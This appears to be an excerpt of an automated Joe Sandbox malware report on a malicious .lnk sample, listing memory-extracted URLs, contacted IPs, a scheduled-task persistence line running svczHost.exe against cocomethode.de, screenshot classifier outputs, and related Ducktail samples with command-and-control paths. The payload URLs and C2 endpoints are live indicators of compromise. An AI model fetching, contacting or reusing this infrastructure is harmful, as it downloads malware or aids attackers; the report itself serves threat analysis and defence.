https://account.live.com/msangcwam	svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208100373.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000008.00000002.290197199701.000001A118623000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000013.00000002.291514450969.000001ABCCA13000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://passport.net/tb	svchost.exe, 00000013.00000002.291509925499.000001ABCB881000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/b0cdda893b0765c99d30cddae6fd74c48ea8c4a5922a60ed3ef018a1ea2b77873615eb3	powershell.exe, 00000004.00000002.290271848956.00000236AA267000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a0	powershell.exe, 00000010.00000002.290488209939.000001D7843E2000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.290161989907.000001A109A7B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdlns:p	svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.htmlXz	powershell.exe, 00000002.00000002.290036765742.0000014DE0EBD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290271848956.00000236A8B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micA	powershell.exe, 00000010.00000002.291087644732.000001D79D428000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microsof	powershell.exe, 00000008.00000002.290205784150.000001A1209DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000008.00000002.290161989907.000001A10941D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.290488209939.000001D7843E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibilityY	svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pesterh	powershell.exe, 00000002.00000002.290036765742.0000014DE200A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.290036765742.0000014DE202E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A109AA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A109A7B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.quovadis.bm0	powershell.exe, 00000002.00000002.290053307415.0000014DF8D06000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290366701874.00000236C094E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290201730802.000001A1205B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.291072709015.000001D79C0C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291514554345.000001ABCCA24000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291509143695.0000026D566C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdse=	svchost.exe, 00000013.00000003.290209973025.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f5	powershell.exe, 00000010.00000002.290488209939.000001D7843E2000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://pesterbdd.com/images/Pester.pngXz	powershell.exe, 00000002.00000002.290036765742.0000014DE0EBD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290271848956.00000236A8B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dca	powershell.exe, 00000004.00000002.290271848956.00000236A8D22000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://aka.ms/nativeaot-c	svczHost.exe, myRdpService.exe	false		high
https://cocomethode.de	powershell.exe, 00000004.00000002.290271848956.00000236A8B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A10922A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.290488209939.000001D7843A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.290488209939.000001D785D54000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1	powershell.exe, 00000004.00000002.290271848956.00000236AA267000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://contoso.com/License	powershell.exe, 00000008.00000002.290197199701.000001A118623000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9	powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust	svchost.exe, 00000013.00000002.291515219723.000001ABCCA7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513425577.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdQXHYXw	svchost.exe, 00000013.00000003.290219948953.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.css	powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fa	powershell.exe, 00000004.00000002.290271848956.00000236A8D22000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://github.com/dotnet/runtime	powershell.exe, 00000010.00000002.291001376614.000001D7940C0000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291521619097.00007FF7B2142000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5A248000.00000004.00001000.00020000.00000000.sdmp	false		high
https://aka.ms/dotnet-warnings/	powershell.exe, 00000010.00000002.291001376614.000001D7940C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291521619097.00007FF7B2142000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5A248000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exe	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600;	svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000008.00000002.290197199701.000001A118623000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/PesterXz	powershell.exe, 00000002.00000002.290036765742.0000014DE0EBD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290271848956.00000236A8B5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A108819000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.liUTF-16p	svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ocsp.quovadisoffshore.com0	powershell.exe, 00000002.00000002.290053307415.0000014DF8D06000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290366701874.00000236C094E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290201730802.000001A1205B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.291072709015.000001D79C0C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291514554345.000001ABCCA24000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291509143695.0000026D566C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micr	powershell.exe, 00000004.00000002.290370225523.00000236C0C29000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://.jpg	powershell.exe, 00000010.00000002.291001376614.000001D7948C3000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.291513678526.0000026D5AB46000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.t.com/pki/crl/pr(	powershell.exe, 00000004.00000002.290371725375.00000236C0CFB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://signup.live.com/signup.aspx	svchost.exe, 00000013.00000002.291509469733.000001ABCB840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.290050915734.0000014DF0D0D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.290036765742.0000014DE208D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.290050915734.0000014DF0E44000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290359074322.00000236B89A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.290359074322.00000236B8B35000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A109BF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290197199701.000001A118623000.00000004.00000800.00020000.00000000.sdmp	false		high
http://wsoft.com/pki/ceroCerAut_2010-06-	powershell.exe, 00000004.00000002.290371725375.00000236C0CFB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000008.00000002.290161989907.000001A10999E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	svchost.exe, 00000013.00000002.291513425577.000001ABCC36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291512749115.000001ABCC313000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.c=hs	powershell.exe, 00000008.00000002.290205784150.000001A120A29000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5	powershell.exe, 00000010.00000002.290488209939.000001D784021000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.290488209939.000001D78424C000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://pesterbdd.com/images/Pester.pngh	powershell.exe, 00000002.00000002.290036765742.0000014DE200A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.290036765742.0000014DE202E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A109AA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.290161989907.000001A109A7B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208100373.000001ABCC329000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208552643.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cocomethode.de:443/	svczHost.exe, 00000015.00000002.291511409384.0000026D598AF000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	svchost.exe, 00000013.00000003.290209973025.000001ABCC32F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.openxmlT	powershell.exe, 00000008.00000002.290207276682.000001A120DDC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file2/b0c	powershell.exe, 00000004.00000002.290271848956.00000236AA267000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://account.live.com/Wizard/Password/Change?id=80601	svchost.exe, 00000013.00000003.290208100373.000001ABCC32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291509664165.000001ABCB85D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.291513132847.000001ABCC337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.290208659161.000001ABCC340000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.88.71.29	unknown	United States		18978	ENZUINC-US	false
172.67.128.139	cocomethode.de	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573008
Start date and time:	2024-12-11 12:12:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected VM Detection
Number of analysed new started processes analysed:	57
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	L0jeOoavu4.lnk
Detection:	MAL
Classification:	mal100.troj.expl.evad.winLNK@83/64@1/2
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 52.113.194.132, 52.111.227.11, 40.126.28.12, 40.126.28.20, 20.190.135.7, 20.190.135.2, 20.190.135.4, 40.126.28.21, 40.126.28.22, 40.126.7.32, 52.182.143.210, 64.233.176.94
Excluded domains from analysis (whitelisted): ecs.office.com, self-events-data.trafficmanager.net, prdv4a.aadg.msidentity.com, self.events.data.microsoft.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, s-0005-office.config.skype.com, prod.nexusrules.live.com.akadns.net, login.msa.msidentity.com, ecs-office.s-0005.s-msedge.net, s-0005.s-msedge.net, login.live.com, ecs.office.trafficmanager.net, www.gstatic.com, nexusrules.officeapps.live.com, onedscolprdcus10.centralus.cloudapp.azure.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target myRdpService.exe, PID 4836 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 3076 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6652 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7784 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7844 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8300 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8316 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8924 because it is empty
Execution Graph export aborted for target powershell.exe, PID 9160 because it is empty
Execution Graph export aborted for target svczHost.exe, PID 9020 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:14:10	API Interceptor	267x Sleep call for process: powershell.exe modified
06:16:31	API Interceptor	9x Sleep call for process: myRdpService.exe modified
12:14:55	Task Scheduler	Run new task: zServicecakoi10 path: C:\Windows\Temp\svczHost.exe s>cakoi10 cocomethode.de

LLM Input / Output

Input	Output
URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name:", "Email Address:", "Phone Number:" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 20 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name:", "Email Address:", "Phone Number:" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name", "Email Address", "Phone Number" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name:", "Email Address:", "Phone Number:" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": ["Full Name", "Email Address", "Phone Number"], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 21 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name", "Email Address", "Phone Number" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 17 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name:", "Email Address:", "Phone Number:" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 18 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name", "Email Address", "Phone Number" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name", "Email Address", "Phone Number" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 15 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": ["Full Name:", "Email Address:", "Phone Number:"], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name", "Email Address", "Phone Number" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 19 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name:", "Email Address:", "Phone Number:" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name", "Email Address", "Phone Number" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name:", "Email Address:", "Phone Number:" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 16 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name", "Email Address", "Phone Number" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name:", "Email Address:", "Phone Number:" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": ["Full Name:", "Email Address:", "Phone Number:"], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 22 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name", "Email Address", "Phone Number" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": ["Full Name:", "Email Address:", "Phone Number:"], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": [ "Full Name", "Email Address", "Phone Number" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 20 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 18 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 17 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 15 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 21 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 22 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 19 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 16 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.88.71.29	kingsmaker_4.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/command/ws
	kingsmaker_6.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	kingsmaker.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	Emloyment Form.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Company Booklet.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
